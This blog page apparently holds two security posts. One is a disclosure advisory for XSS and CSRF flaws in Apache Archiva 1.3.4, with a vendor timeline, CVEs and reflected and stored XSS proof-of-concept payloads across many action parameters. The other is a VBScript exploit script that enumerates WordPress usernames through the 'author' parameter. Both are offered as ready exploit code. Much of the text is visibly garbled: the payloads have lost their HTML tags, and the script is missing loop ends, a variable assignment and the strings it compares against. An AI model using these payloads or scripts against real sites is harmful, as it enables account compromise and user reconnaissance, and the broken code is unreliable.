Apache Archiva Multiple XSS & CSRF Vulnerabilities

I am honestly surprised at the frequency and places one would find threats like Cross Site Scripting and Cross Site Request Forgery. Although immensely easy to locate and exploit, it can get quite twisted to fix these issues in large applications. Here’s a rundown on another product that was found vulnerable. As part of the vulnerability research that I do with published web applications, I downloaded a copy of Apache’s Archiva 1.3.4 which was the latest published edition on the vendor’s website. Upon examination, there seemed to be several issues with the application that I reported responsibly to the vendor and co-operated in responsible disclosure. Since the cat is now out of the bag, here’s the condensed disclosure document with the exploit code intact.

Title: Multiple XSS & CSRF Vulnerabilities in Apache Archiva 1.3.4

Project: Apache Archiva
Severity: High
Versions: 1.3.0 – 1.3.4. The unsupported versions Archiva 1.0 – 1.2.2 are also affected.
Exploit type: Multiple XSS & CSRF
Mitigation: Archiva 1.3.4 and earlier users should upgrade to 1.3.5
Vendor URL: http://archiva.apache.org/security.html
CVE: CVE-ID-2011-1077, CVE-2011-1026

28 February 2011: Vendor Contacted
1 March 2011: Vendor Response received. CVE-2011-1026 for CSRF Issues Assigned.
7 March 2011: CVE-2011-1077 Assigned for XSS Issues.
14 March 2011: Fixes released to selected channels / Found to be insufficient
27 May 2011: Vendor releases v1.3.5
27 May 2011: Vendor releases security disclosure to Bugtraq and FD.
30 May 2011: Exploit details released on Bugtraq & FD

Product Description:
Apache Archiva is an extensible repository management software that helps taking care of your own personal or enterprise-wide build artifact repository. It is the perfect companion for build tools such as Maven, Continuum, and ANT.

Archiva offers several capabilities, amongst which remote repository proxying, security access management, build artifact storage, delivery, browsing, indexing and usage reporting, extensible scanning functionality… and many more!
(Source: http://archiva.apache.org/)

Vulnerability Details:
XSS: User can insert HTML or execute arbitrary JavaScript code within the vulnerable application. The vulnerabilities arise due to insufficient input validation in multiple input fields throughout the application.
Successful exploitation of these vulnerabilities could result in, but not limited to, compromise of the application, theft of
cookie-based authentication credentials, arbitrary url redirection, disclosure or modification of sensitive data and phishing attacks.

CSRF: These issues allow an attacker to access and use the application with the session of a logged on user. In this case if an administrative account is exploited, total application compromise may be acheived.
An attacker can build a simple html page containing a hidden Image tag (eg: ) and entice the administrator to access the page.

Proof of Concept:
Reflected XSS:‘xss’)>alert(‘xss’)!show.action?roleName=testalert(‘xss’)!doDelete.action?groupId=1alert(‘xss’)&artifactId=1alert(‘xss’)&version=1&repositoryId=internal!commit.action?legacyArtifactPath.path=testalert(‘xss’)&groupId=testalert(‘xss’)&artifactId=testalert(‘xss’)&version=testalert(‘xss’)&classifier=testalert(‘xss’)&type=testalert(‘xss’)!confirm.action?proxyid=testalert(‘xss’)

Persistant (Stored) XSS:
Exploit code: testalert(‘xss’) (Identifier:repository.id, Name:repository.name, Directory:repository.location, Index Directory:repository.indexDir) (Name:organisationName, URL:organisation:URL, LogoURL:organisation:URL), GroupId:groupId, ArtifactId:artifactId, Version:version, Classifier:classifier, Type:type) (Identifier:proxy.id, Protocol:proxy.protocol, Hostname:proxy.host, Port:proxy.port, Username:proxy.username)


Please update to Archiva 1.3.5, available for download via the vendor’s website.

WordPress UserId & Username Enumeration Exploit/PoC Script

On 26th May 2011, a relatively easy to detect and exploit vulnerability was found with WordPress. The issue being with WordPress disclosing usernames based on a simple URL parameter and the consequent page redirect/HTTP status. Although WordPress has implemented usernames in the title bar as a feature, this can be abused easily by recursively supplying a author=number to the main page to enumerate usernames. The full disclosure posting can be found at http://seclists.org/fulldisclosure/2011/May/493

Even though there are a lot of scripts/exploits/PoC already popping up all over the Internet to abuse this, this post will show how easy it is to automate the enumeration using Ajax/XMLHTTP via VBScript.

‘Author: karniv0re@null.co.in
‘User enumeration script for WordPress v2.6, 3.1, 3.1.1, 3.1.3
‘This script allows an attacker to enumerate wordpress users by
‘querying the value of the parameter ‘author’ using xmlHTTP.

Dim url, sQuery, args, i, max

if wscript.arguments.count < 1 then
wscript.echo “WPEnum – WordPress User Enumeration Script”
wscript.echo “Author: karniv0re@null.co.in”
wscript.echo “Insufficient Parameters.”
wscript.echo “cscript WPEnum.vbs []”
wscript.echo “: A WordPress based website in the form of http://site/”
wscript.echo “:[Optional] Maximum number of users. Default 20.”
wscript.echo “Example: cscript WPEnum.vbs http://www.mywordpress.com/ 10”
End if

set args = wscript.Arguments

wscript.echo “WPEnum – WordPress User Enumeration Script”
wscript.echo “Author: karniv0re@null.co.in”
wscript.echo “Enumerating …”

url = args(0)
if right(url,1) “/” then
url = url & “/”
End if

if wscript.arguments.count = 2 AND IsNumeric(args(1)) then
End if

Set xmlHTTP = Nothing
set xmlHTTP = CreateObject(“Microsoft.XmlHttp”)

For i=1 to max
sQuery = args(0) & “?author=” & i
xmlHTTP.open “GET”, sQuery, false
xmlHTTP.send “”

wscript.sleep 70

do while not xmlHTTP.readyState=4

if xmlHTTP.status = 404 then
wscript.echo i & ” users enumerated.”
wscript.echo “Done!”
Set xmlHTTP = Nothing
wscript. quit
End if

wscript.echo “Userid:” & i

k = Instr(Lcase(xmlHTTP.responseText),””)
j = Instr(Lcase(xmlHTTP.responseText),””)
username = Mid(xmlHTTP.responseText, k+7, j-k-7)
wscript.echo username

wscript.echo i & ” users enumerated.”
wscript.echo “Done!”

Set xmlHTTP = Nothing

‘End of program